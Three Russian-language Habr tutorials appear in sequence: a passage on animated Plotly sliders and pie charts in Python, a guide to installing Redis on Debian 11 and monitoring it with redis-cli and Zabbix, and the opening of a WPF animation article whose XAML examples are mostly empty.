**Код искалеченного слайдера**
```
num_steps = len(x)
trace_list = [go.Scatter(visible=True, x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(visible=True, x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')]
for i in range(1, len(x)):
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'))
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)'))
frames=[]
for i in range(1, len(x)):
frames.append(go.Frame(data=[go.Scatter(visible=True, x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(visible=True, x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)')]))
fig = go.Figure(data=trace_list)
steps = []
for i in range(num_steps):
step = dict(
method = 'restyle',
args = ['visible', [False] * len(fig.data)],
)
step['args'][1][2*i] = True
step['args'][1][2*i+1] = True
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.update_layout(updatemenus=[dict(direction="left", x=0.5, xanchor="center", y=0,
type="buttons", buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
ОК, значит нам придётся сделать «финт ушами» и отказаться от невидимых графиков, а привязать слайдер непосредственно к фреймам анимации (Почему мы так не сделали сразу? Чтобы был альтернативный способ, подходящий непосредственно для слайдера без изысков)
1. Закомментируем всё, что касается trace\_list — списка наших «невидимых» графиков.
2. Вынесем созданием 2 видимых графиков в первоначальное создание фигуры
3. Добавим параметр name каждому фрейму
4. Переделаем шаблон шага:
* Добавим label, совпадающий с именем соответствующего фрейма
* Сменим метод на «animate»
* Все аргументы заменим на 1 список из 1 единственной строки, совпадающей с именем фрейма
5. Уберём «проявление» невидимых графиков на определённых позициях слайдера, т.к. теперь слайдер будет привязан к фреймам
*Чтобы все изменения были хорошо заметны, я закомментировал убираемые строки*
**Код относительно работающего слайдера с кнопками анимации**
```
num_steps = len(x)
fig = go.Figure(data=[go.Scatter(x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')])
'''
trace_list = [go.Scatter(visible=True, x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(visible=True, x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')]
for i in range(1, len(x)):
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'))
trace_list.append(go.Scatter(visible=False, x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)'))
'''
frames=[]
for i in range(0, len(x)):
frames.append(go.Frame(name=str(i),
data=[go.Scatter(x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)')]))
#fig = go.Figure(data=trace_list)
steps = []
for i in range(num_steps):
step = dict(
#method = 'restyle',
#args = ['visible', [False] * len(fig.data)],
label = str(i),
method = "animate",
args = [[str(i)]]
)
#step['args'][1][2*i] = True
#step['args'][1][2*i+1] = True
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.update_layout(updatemenus=[dict(direction="left", x=0.5, xanchor="center", y=0,
type="buttons", buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
Единственный момент, который слегка раздражает — когда происходит «воспроизведение», то ползунок слайдера не ползёт.
Это легко исправить с помощью аргумента showactive для меню. Так же его выключение снимет состояние «нажато» с кнопок Play/Pause.
**Код слайдера, который уже нормально анимирован**
```
num_steps = len(x)
fig = go.Figure(data=[go.Scatter(x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)')])
frames=[]
for i in range(0, len(x)):
frames.append(go.Frame(name=str(i),
data=[go.Scatter(x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)'),
go.Scatter(x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)')]))
steps = []
for i in range(num_steps):
step = dict(
label = str(i),
method = "animate",
args = [[str(i)]]
)
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.update_layout(updatemenus=[dict(direction="left",
x=0.5,
xanchor="center",
y=0,
showactive=False,
type="buttons",
buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
Конечно добавим данные тепловой карты и размер маркера для увеличения плотности информации
Заметьте, что colorbar мы добавили всего 1 раз, однако, в него пришлось внести некоторые правки — мы сдвинули его по вертикали слегка вниз, т.к. теперь в правой колонке у нас есть легенда.
**Код**
```
num_steps = len(x)
fig = go.Figure(data=[go.Scatter(x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)',
marker=dict(color=[f(x[0])], colorbar=dict(yanchor='top', y=0.8, title="f(x)=x2"), colorscale='Inferno', size=[50*abs(h(x[0]))])),
go.Scatter(x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)',
marker=dict(color=[f(x[0])], colorscale='Inferno', size=[50*abs(k(x[0]))]))])
frames=[]
for i in range(0, len(x)):
frames.append(go.Frame(name=str(i),
data=[go.Scatter(x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)',
marker=dict(color=f(x[:i+1]), colorscale='Inferno', size=50*abs(h(x[:i+1])))),
go.Scatter(x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)',
marker=dict(color=f(x[:i+1]), colorscale='Inferno', size=50*abs(k(x[:i+1]))))]))
steps = []
for i in range(num_steps):
step = dict(
label = str(i),
method = "animate",
args = [[str(i)]]
)
steps.append(step)
sliders = [dict(
steps = steps,
)]
fig.update_layout(updatemenus=[dict(direction="left",
x=0.5,
xanchor="center",
y=0,
showactive=False,
type="buttons",
buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
Осталось немного облагородить панель слайдера.
*Добавим подписи к графику и осям, увеличим и оформим подпись текущего значения слайдера (в других обстоятельствах он стал бы временной шкалой), сместим кнопки анимации влевой, а слайдер чуть сожмём, чтобы освободить им место.*
* Аргумент currentvalue — задаёт форматирование подписи к текущему шагу, включая префикс, положение на слайде, шрифт
* Аргументы x, y, xanchor, yanchor, pad — задают положение и отступы для слайдера и их синтаксис аналогичен таковому у кнопок
**Код**
```
num_steps = len(x)
fig = go.Figure(data=[go.Scatter(x=[x[0]], y=[h(x)[0]], mode='lines+markers', name='h(x)=sin(x)',
marker=dict(color=[f(x[0])], colorbar=dict(yanchor='top', y=0.8, title="f(x)=x2"), colorscale='Inferno', size=[50*abs(h(x[0]))])),
go.Scatter(x=[x[0]], y=[k(x)[0]], mode='lines+markers', name='k(x)=cos(x)',
marker=dict(color=[f(x[0])], colorscale='Inferno', size=[50*abs(k(x[0]))]))])
frames=[]
for i in range(0, len(x)):
frames.append(go.Frame(name=str(i),
data=[go.Scatter(x=x[:i+1], y=h(x[:i+1]), mode='lines+markers', name='h(x)=sin(x)',
marker=dict(color=f(x[:i+1]), colorscale='Inferno', size=50*abs(h(x[:i+1])))),
go.Scatter(x=x[:i+1], y=k(x[:i+1]), mode='lines+markers', name='k(x)=cos(x)',
marker=dict(color=f(x[:i+1]), colorscale='Inferno', size=50*abs(k(x[:i+1]))))]))
steps = []
for i in range(num_steps):
step = dict(
label = str(i),
method = "animate",
args = [[str(i)]]
)
steps.append(step)
sliders = [dict(
currentvalue = {"prefix": "Шаг №", "font": {"size": 20}},
len = 0.9,
x = 0.1,
pad = {"b": 10, "t": 50},
steps = steps,
)]
fig.update_layout(title="Строим синус и косинус по шагам",
xaxis_title="Ось X",
yaxis_title="Ось Y",
updatemenus=[dict(direction="left",
pad = {"r": 10, "t": 80},
x = 0.1,
xanchor = "right",
y = 0,
yanchor = "top",
showactive=False,
type="buttons",
buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
Возникает вопрос *зачем же мы делали вариант с невидимыми графиками, если они не пригодились?*
На самом деле они нужны, в том числе для анимации. Дело в том, что если вы хотите на разных слайдах анимации показывать разное количество графиков, то вам надо в самом начале на этапе создания фигуры добавить столько графиков, сколько их может отображаться максимально. Они все должны быть невидимыми.
Я специально задам 2 переменные:
* graphs\_invisible — содержит как невидимый корректный график, так и пустой объект графика вообще без указания видимости
* graphs\_visible — содержит корректные видимые графики, которые надо показывать по очереди
В первоначальном состоянии мы отобразим невидимые графики или пустышки, а в каждом фрейме будем комбинировать видимые и невидимые, чтобы их количество было постоянным.
**Код**
```
graphs_invisible = [go.Scatter(visible = False, x=x, y=f(x), name='f(x)=x2'),
go.Scatter(visible = False, x=x, y=x, name='g(x)=x'),
go.Scatter(visible = False, x=x, y=h(x), name='h(x)=sin(x)'),
go.Scatter(visible = False, x=x, y=k(x), name='k(x)=cos(x)')]
graphs_visible = [go.Scatter(visible = True, x=x, y=f(x), name='f(x)=x2'),
go.Scatter(visible = True, x=x, y=x, name='g(x)=x'),
go.Scatter(visible = True, x=x, y=h(x), name='h(x)=sin(x)'),
go.Scatter(visible = True, x=x, y=k(x), name='k(x)=cos(x)')]
fig = go.Figure(data=graphs_invisible)
frames=[]
for i in range(len(graphs_visible)+1):
frames.append(go.Frame(name=str(i),
data=graphs_visible[:i]+graphs_invisible[i:]))
steps = []
for i in range(len(graphs_visible)+1):
step = dict(
label = str(i),
method = "animate",
args = [[str(i)]]
)
steps.append(step)
sliders = [dict(
currentvalue = {"prefix": "Графиков отображается: ", "font": {"size": 20}},
len = 0.9,
x = 0.1,
pad = {"b": 10, "t": 50},
steps = steps,
)]
fig.update_layout(title="Выводим графики по очереди",
xaxis_title="Ось X",
yaxis_title="Ось Y",
updatemenus=[dict(direction="left",
pad = {"r": 10, "t": 80},
x = 0.1,
xanchor = "right",
y = 0,
yanchor = "top",
showactive=False,
type="buttons",
buttons=[dict(label="►", method="animate", args=[None, {"fromcurrent": True}]),
dict(label="❚❚", method="animate", args=[[None], {"frame": {"duration": 0, "redraw": False},
"mode": "immediate",
"transition": {"duration": 0}}])])],
)
fig.layout.sliders = sliders
fig.frames = frames
fig.show()
```
#### Философский вопрос — зачем мы так мучаемся, если есть plotly.express?
Документация plotly по анимации [plotly.com/python/animations](https://plotly.com/python/animations/) начинается с феерического примера:
**Код, создающий довольно сложную анимацию данных с помощью Plotly Express**
```
import plotly.express as px
df = px.data.gapminder()
px.scatter(df, x="gdpPercap", y="lifeExp", animation_frame="year", animation_group="country",
size="pop", color="continent", hover_name="country",
log_x=True, size_max=55, range_x=[100,100000], range_y=[25,90])
```
Действительно, функции Экспресса принимают на вход датафреймы (да, обычные из Pandas), вам лишь нужно указать колонки по которым производится агрегация данных. И можно сразу строить и тепловые карты, и анимации очень небольшим количеством кода, как в этом примере:
Ответ и прост и сложен:
1. Стандартные примеры Экспресса могут не удовлетворить ваших потребностей, нужно что-то чуть более сложное и хитрое, например, совместить график и гистограмму. Вручную вы получаете больше гибкости.
2. Понять как сгруппировать и агрегировать данные в датафрейме для такой визуализации порой сложнее, чем просто построить набор картинок для фреймов анимации/слайдера.
### Показ plotly графиков на сайте
Plotly — это не только библиотека для Python, но ещё и JS, это значит, что любые графики, которые вы строите в jupyter notebook, вы можете показывать и на сайте (если он на Python, либо если вы заранее выгрузите всё необходимое).
В рамках этого урока мы не будем рассматривать полный цикл разработки дашборда или веб приложения, просто рассмотрим небольшой пример:
```
import json
#Здесь вы создаёте свой график в фигуре fig
graphJSON = json.dumps(fig, cls=plotly.utils.PlotlyJSONEncoder)
```
В graphJSON окажется приличный JSON. Не будем вдаваться в его особенности, хотя легко заметить, что его структура соответствует нашему объекту фигуры, со всеми графиками, фреймами, подложками, кнопками и т.п.
Давайте добавим немного по краям и сложим этот код в файл:
```
with open('example.JSON', 'w') as file:
file.write('var graphs = {};'.format(graphJSON))
```
А теперь откроем страницу [example.html](https://lexnekr.github.io/plotly_lesson/example.html), когда в одном каталоге с ней есть наш файл [example.JSON](https://lexnekr.github.io/plotly_lesson/example.JSON) (**Для корректной работы необходимо подключение к интернет, т.к. некоторые стили и JS подтягиваются со сторонних сайтов**).
Удивительно, не правда ли?
При этом, если посмотреть структуру, то она очень проста и содержит всего 4 важных объекта (их порядок на странице важен):
1. Подключение JS библиотеки Plotly (в примере это делается онлайн из CDN, но если вы делаете локальный продукт, например приватный дашборд для работы внутри организации, JS легко поместить на локальный сервер и поменять ссылки)
```
```
2. Блок, где будет выводиться график
Важно понимать, что Plotly по умолчанию не фиксирует размеры графика, поэтому вы можете применить к контейнеру свои стили, сверстав его такого размера и в том месте, где это необходимо вам. Plotly постарается занять всё свободное место по ширине.
Важно использовать действительно уникальный id — именно по нему plotly будет находить место на странице, куда надо встроить график.
3. JS переменная, содержащая наш JSON, описывающий график. Мы сформировали её и сложили в файл целиком. Вы можете выводить её непосредственно в коде страницы.
4. Вызов JS функции plotly, которая построит график.
* первым передаётся id контейнера, в котором выводить график
* вторым передаётся переменная, содержащая JSON Plotly объекта
```
Plotly.plot('plotly\_graph',graphs,{});
```
**А теперь испробуйте код на каком-нибудь своём графике!**
### Круговые диаграммы
Для полноты картины рассмотрим несколько других способов визуализации данных, кроме линейных графиков. Начнём с круговых диаграмм
Для нашего эксперимента «подбросим» 100 раз пару игральных кубиков (костей) и запишем суммы выпавших очков.
**Код**
```
dices = pd.DataFrame(np.random.randint(low=1, high=7, size=(100, 2)), columns=('Кость 1', 'Кость 2'))
dices['Сумма'] = dices['Кость 1'] + dices['Кость 2']
# Первые 5 бросков игральных костей
display(dices.head())
sum_counts = dices['Сумма'].value_counts().sort_index()
# количество выпавших сумм
display(sum_counts)
```
Для того чтобы создать круговую диаграмму используем go.Pie, который добавляем так же, как мы добавляли график на созданную фигуру.
Используем 2 основных атрибута:
* values — размер сектора диаграммы, в нашем случае прямо пропорционален количеству той или иной суммы
* labels — подпись сектора, в нашем случае значение суммы. Если не передать подпись, то в качестве подписи будет взят индекс значения из списка values
**Код**
```
fig = go.Figure()
fig.add_trace(go.Pie(values=sum_counts, labels=sum_counts.index))
fig.show()
```
Сразу бросается в глаза то, что хотя мы передали массив, упорядоченный по индексам, но при построении он был пересортирован по значениям.
Это легко исправить с помощью аргумента `sort = False`
**Код**
```
fig = go.Figure()
fig.add_trace(go.Pie(values=sum_counts, labels=sum_counts.index, sort = False))
fig.show()
```
Так же при желании мы можем «выдвинуть» один или несколько секторов.
Для этого используем аргумент pull, который принимаем список чисел. Каждое число — доля, на которую надо выдвинуть сектор из круга:
* 0 — не выдвигать
* 1 — 100% радиуса круга
Мы создадим список из нулей, такой же длинны, что массив значений. А потом один элемент увеличим до 0.2.
**Код**
*Обратите внимание, мы не используем метод idxmax Pandas, т.к. наш массив имеет индексы, соответствующие суммам. А определение какой сектор выдвигать на диаграмме происходит по индексу списка, к которому наш массив приводится.*
```
fig = go.Figure()
pull = [0]*len(sum_counts)
pull[sum_counts.tolist().index(sum_counts.max())] = 0.2
fig.add_trace(go.Pie(values=sum_counts, labels=sum_counts.index, pull=pull))
fig.show()
```
Если вам не нравятся классические круговые диаграммы «пирожки», то легко превратить их в «пончики», вырезав сердцевину. Для этого используем аргумент hole, в который передаём число (долю радиуса, которую надо удалить):
* 0 — не вырезать ничего
* 1 — 100% вырезать, ничего не оставить
*Таким образом, значение 0.9 превратит круговую диаграмму в кольцевую.*
**Код**
```
fig = go.Figure()
pull = [0]*len(sum_counts)
pull[sum_counts.tolist().index(sum_counts.max())] = 0.2
fig.add_trace(go.Pie(values=sum_counts, labels=sum_counts.index, pull=pull, hole=0.9))
fig.show()
```
Кстати, образовавшаяся «дырка от бублика» — идеальное место для подписи, которую можно сделать с помощью атрибута annotations слоя.
Не забываем, что аннотаций может быть много, поэтому annotations принимаем список словарей.
Текст аннотации поддерживает HTML разметку (чем мы воспользуемся, задав абсурдно длинный текст, не помещающийся в 1 строку)
**Код**
```
fig = go.Figure()
pull = [0]*len(sum_counts)
pull[sum_counts.tolist().index(sum_counts.max())] = 0.2
fig.add_trace(go.Pie(values=sum_counts, labels=sum_counts.index, pull=pull, hole=0.9))
fig.update_layout(
annotations=[dict(text='Суммы очков
при броске
2 игральных костей', x=0.5, y=0.5, font_size=20, showarrow=False)])
fig.show()
``` | https://habr.com/ru/post/502958/ | null | ru | null |
# Установка Redis и мониторинг с помощью Zabbix
Если вам нужна быстродействующая нереляционная СУБД типа «ключ-значение», то, возможно, подойдет [Redis (Remote Dictionary Server)](https://redis.io/). На базе Redis можно создать не только хранилище данных, но и кэш, брокер сообщений, а также очередь. Для увеличения отказоустойчивости можно настроить репликацию данных между серверами Redis.
Быстродействие Redis обеспечивается хранением данных в оперативной памяти, но вместе с тем имеется возможность постоянного хранения наборов данных на диске.
Когда вы создаете на базе Redis приложения, критичные для работоспособности вашего бизнеса, необходимо позаботиться о мониторинге сервиса Redis.
В этой статье мы расскажем о том, как установить Redis в ОС Debian 11, а также как контролировать этот сервис вручную и с помощью Zabbix.
Установка Redis
---------------
На сайте Redis есть [инструкции по установке сервиса Redis для различных ОС](https://redis.io/docs/getting-started/installation/). Для Linux ее [можно найти здесь](https://redis.io/docs/getting-started/installation/install-redis-on-linux/).
Что касается ОС Debian 11, то после обновления пакетов установите Redis командой `apt install`:
```
# apt update
# apt upgrade
# apt install redis-server
```
Соблюдайте осторожность при обновлении пакетов командой `upgrade`, так как в результате обновления могут измениться конфигурационные файлы установленных ранее сервисов. Особенно это важно, если на сервере установлена панель ISPmanager.
Для Redis лучше всего использовать отдельный сервер или выделенную виртуальную машину.
После установки убедитесь, что сервис запустился и находится в состоянии enabled:
```
# systemctl status redis.service
```
Далее проверьте конфигурацию Redis, которая находится в файле `/etc/redis/redis.conf`, и при необходимости внесите нужные вам изменения. Затем перезапустите Redis:
```
# systemctl restart redis.service
```
Контроль сервиса Redis вручную
------------------------------
Ручной мониторинг Redis основан на использование следующей команды:
```
# redis-cli info
```
Команда выведет на консоль обширную информацию, разделенную на группы. Ниже эта информация показана в сокращенном виде:
```
# Server
redis_version:5.0.3
…
redis_mode:standalone
os:Linux 4.19.0-11-amd64 x86_64
arch_bits:64
…
process_id:3986
run_id:d354fb032bac0445485be25f55710c900daf4ad9
tcp_port:6379
uptime_in_seconds:59368613
uptime_in_days:687
…
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:82
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0
# Memory
used_memory:23387080
used_memory_human:22.30M
used_memory_rss:44687360
used_memory_rss_human:42.62M
used_memory_peak:206291712
used_memory_peak_human:196.74M
used_memory_peak_perc:11.34%
used_memory_overhead:2276036
used_memory_startup:795736
used_memory_dataset:21111044
used_memory_dataset_perc:93.45%
…
total_system_memory:4138094592
total_system_memory_human:3.85G
…
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
…
mem_fragmentation_ratio:1.92
mem_fragmentation_bytes:21363176
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:1453148
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:56
rdb_bgsave_in_progress:0
rdb_last_save_time:1660722010
rdb_last_bgsave_status:ok
…
# Stats
total_connections_received:592956
total_commands_processed:64503252
instantaneous_ops_per_sec:0
total_net_input_bytes:6462728424
total_net_output_bytes:26606657346051
instantaneous_input_kbps:0.01
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:6172
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:26183280
keyspace_misses:10725946
…
# Replication
role:master
connected_slaves:0
…
# CPU
used_cpu_sys:136409.578771
used_cpu_user:118724.185933
used_cpu_sys_children:15802.501500
used_cpu_user_children:21458.693155
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=419,expires=177,avg_ttl=331436823
```
Если вас интересуют данные только из одного блока, например, из блока Stats, добавьте к команде название блока параметров:
```
# redis-cli info stats
# Stats
total_connections_received:592959
total_commands_processed:64503957
instantaneous_ops_per_sec:5
total_net_input_bytes:6462785619
total_net_output_bytes:26606733572570
instantaneous_input_kbps:0.42
instantaneous_output_kbps:72.33
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:6172
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:26183458
keyspace_misses:10726043
…
```
Описание метрик [можно найти здесь](https://redis.io/commands/info/). Хорошую инструкцию с описанием, какие метрики необходимо отслеживать, [есть на сайте](https://www.datadoghq.com/blog/how-to-monitor-redis-performance-metrics/).
### Оценка объема памяти
Прежде всего, оцените объем памяти, выделенной для Redis:
```
# redis-cli INFO memory | grep used_memory
```
Вы увидите на консоли метрики, имеющие отношение к использованию памяти:
```
used_memory:23370400
used_memory_human:22.29M
used_memory_rss:42045440
used_memory_rss_human:40.10M
used_memory_peak:206291712
used_memory_peak_human:196.74M
used_memory_peak_perc:11.33%
used_memory_overhead:2260122
used_memory_startup:795736
used_memory_dataset:21110278
used_memory_dataset_perc:93.51%
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
```
Параметр **used\_memory\_human** сообщает общее количество памяти, занятой сервисом Redis для хранения данных. Из-за фрагментации памяти это значение будет отличаться от объема памяти, выделенной для Redis операционной системой.
Метрика **used\_memory\_peak\_human** показывает максимальное значение памяти, занимаемой Redis.
В любом случае для исключения свопинга нужно следить, чтобы объем памяти, выделенной для Redis, не превышал общий объем памяти, доступной на сервере.
Доступный объем памяти можно узнать так:
```
# redis-cli INFO | grep total_system_memory_human
total_system_memory_human:3.85G
```
### Проверка фрагментации памяти
Оцените отношение параметров **used\_memory\_rss\_human** и **used\_memory\_human**. Первая из этих метрик определяет объем памяти, выделенной ОС для Redis (RSS означает Resident Set Size). Вторая метрика, used\_memory\_human, содержит объем памяти, используемый Redis для хранения данных.
Фрагментацию памяти можно определить следующей командой:
```
# redis-cli INFO | grep mem_fragmentation_ratio
mem_fragmentation_ratio:1.82
```
Значение фрагментации, превышающее 1.5, может привести к перерасходу памяти. Чтобы исправить ситуацию, можно перезапустить Redis. Если же это значение меньше единицы, то для Redis не хватает оперативной памяти.
### Оценка количества удаленных ключей
Контролируйте значение **evicted\_keys** (количество ключей, удаленных Redis):
```
# redis-cli INFO stats | grep
evicted_keysevicted_keys:0
```
Если значение этого параметра велико, имеет смысл увеличить объем памяти, доступной Redis.
### Оценка скорости кэширования
Далее оцените достаточность скорости кэширования. Введите такую команду:
```
# redis-cli INFO stats | grep keyspace
```
Команда покажет на экране значения **keyspace\_hits** (количество успешных выборок из хранилища) и **keyspace\_misses** (количество запросов отсутствующих данных):
```
keyspace_hits:26184072
keyspace_misses:10726317
```
Видно, что значение **keyspace\_misses** довольно велико. Если оно еще и постоянно увеличивается со временем, то сервер Redis не справляется с потоком данных.
### Оценка количества подключенных клиентов
Метрика connected\_clients показывает количество клиентов, подключенных к Redis:
```
# redis-cli INFO | grep connected_clients
connected_clients:91
```
Если клиентов слишком много, возможны проблемы с обработкой запросов. Параметр **maxclients** в файле конфигурации Redis `/etc/redis/redis.conf` задает максимально допустимое количество клиентов. По умолчанию это количество равно 10000, но в зависимости от конфигурации ОС, например, от ограничений на количество открытых файлов, может потребоваться уменьшить значение параметра maxclients.
После редактирования файла конфигурации необходимо перезапустить сервис Redis.
Мониторинг Redis с помощью Zabbix
---------------------------------
Используя сервер Zabbix версии 6.2 и агент Zabbix agent 2, установленный на контролируемом хосте, можно воспользоваться [готовым шаблоном Redis by Zabbix agent 2](https://www.zabbix.com/ru/integrations/redis).
Для этого шаблона не нужны дополнительные скрипты, не придется редактировать файл конфигурации и перезапускать сервис агента. Просто подключите шаблон в Web-интерфейсе сервера Zabbix к серверу, на котором работает Redis.
### Проверка доступности плагина мониторинга Redis
Для проверки доступности плагина мониторинга Redis введите **в консоли сервера Zabbix** такую команду:
```
$ zabbix_get -s xxx.xxx.xxx.xxx -k redis.ping
1
```
где **xxx.xxx.xxx.xxx** — адрес IP контролируемого хоста Redis. Если плагин доступен, команда выведет на консоль значение единицы.
### Метрики шаблона Redis by Zabbix agent 2
Шаблон Redis by Zabbix agent 2 позволяет контролировать данные метрик, о которых мы рассказывали выше в разделе статьи про ручной контроль сервиса Redis.
Если открыть в Web-интерфейсе Zabbix раздел **Latest data** для хоста Redis и в поисковом фильтре в поле **Name** задать строку «Redis», вы увидите значения довольно большого количества метрик. На рис. 1 показана только часть первой страницы с метриками, а всего таких страниц три.
Рис. 1. Значения метрик мониторинга RedisНа рис. 1 видно, что фрагментация памяти составляет 1.89, и это слишком много.
С помощью ссылки **Graph** можно увидеть график изменения той или иной метрики со временем. На рис. 2 показан график изменения количества клиентов, подключенных к Redis.
Рис. 2. График изменения количества клиентов, подключенных к RedisКак вы увидите дальше, в шаблоне Redis by Zabbix agent 2 имеются триггеры, контролирующие возможность подключения клиентов к сервису Redis.
### Макросы для шаблона Redis by Zabbix agent 2
На рис. 3 мы показали макросы шаблона Redis by Zabbix agent 2.
Рис. 3. Макросы шаблона Redis by Zabbix agent Скорее всего, вам не придется здесь ничего менять. Но если Redis работает на порту, отличном от 6379, то придется отредактировать **макрос {$REDIS.CONN.URI}**.
**Макрос {" class="formula inline">REDIS.MEM.FRAG\_RATIO.MAX.WARN}** задает предельное отношение для фрагментации памяти, при котором должен сработать соответствующий триггер.
Другие макросы также участвуют в выражениях, определяющих критерии срабатывания триггеров.
### Триггеры шаблона Redis by Zabbix agent 2
В шаблоне Redis by Zabbix agent 2 предусмотрено более дюжины различных триггеров (рис. 4).
Рис. 4. Триггеры шаблона Redis by Zabbix agent Здесь есть триггеры, которые срабатывают, если сервис Redis не запущен (Redis: Service is down), если он перезапустился (Redis: has been restarted) или если сервер Zabbix не смог получить данные от плагина мониторинга Redis (Redis: Failed to fetch info data). Срабатывание этих триггеров требует реакции системного администратора.
Также обратите внимание на триггер Redis: Memory fragmentation ratio is too high, срабатывающий при слишком большой фрагментации памяти. Если сработал этот триггер, имеет смысл проверить, насколько эффективно используется оперативная память сервера. При необходимости нужно перезапустить сервис Redis.
Если появились клиенты, которые не могут подключиться к Redis, срабатывает триггер Redis: Connections are rejected высокой важности High. Для остальных триггеров определены уровни важности как предупреждение (Warning) или информация (Information).
В этой статье мы не рассматриваем репликацию серверов Redis и мониторинг такой репликации — эта тема заслуживает отдельной статьи.
Автор: Александр Фролов.
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/687916/ | null | ru | null |
# Анимация в WPF и Blend SDK
Всем добрый день! В этой статье я опишу простой способ запуска анимации с помощью инструмента Blend SDK от Microsoft.
С анимациями в WPF дела обстоят не очень легко и их стараются избежать по нескольким причинам. Первая — их тяжело запускать и сложно останавливать. Вторая — они не очень быстрые.
Разберемся с запуском — что же такого «сложного». Нарисуем простой ItemsControl, внутри которого есть Canvas и размещаются маленькие шарики.
```
<Setter Property="Canvas.Left" Value="{Binding X}" />
<Setter Property="Canvas.Top" Value="{Binding Y}" />
```
Демонстрация результата:
Теперь надо сделать их анимириванными, для этого перенесем наши вычисления позиции из Canvas.Left и Canvas.Top в анимацию, которая будет задавать Canvas.Left и Canvas.Top элемента. Разместим её в ресурсах каждого Ellipse'а.
```
```
Но теперь вопрос — когда запускать анимации? Однозначно нам нужно запускать при появлении элемента, то есть добавим:
```
```
Но что теперь? По хорошему можно забиндить запуск анимации на самих себя же, добавив в Binding каждого вычисления To по NotifyOnTargetUpdated=True. Тогда можно написать
```
```
И всё работает. Но не всё так просто. В живом проекте такой подход работать отказался — скорее всего из-за зацикливания вызовов. Также где угодно можно написать NotifyOnTargetUpdated=True и анимации будут вызываться лишний раз. Нам же нужно, чтобы анимации запускались только по изменении свойств X и Y. Тут то и приходит нам на выручку Blend SDK с его библиотеками Microsoft.Expression.Interactions и System.Windows.Interactivity.
Добавляем их в проект (я добавлял через nuget). И прописываем нужные нам xmlns:
```
xmlns:ei="http://schemas.microsoft.com/expression/2010/interactions"
xmlns:i="http://schemas.microsoft.com/expression/2010/interactivity"
```
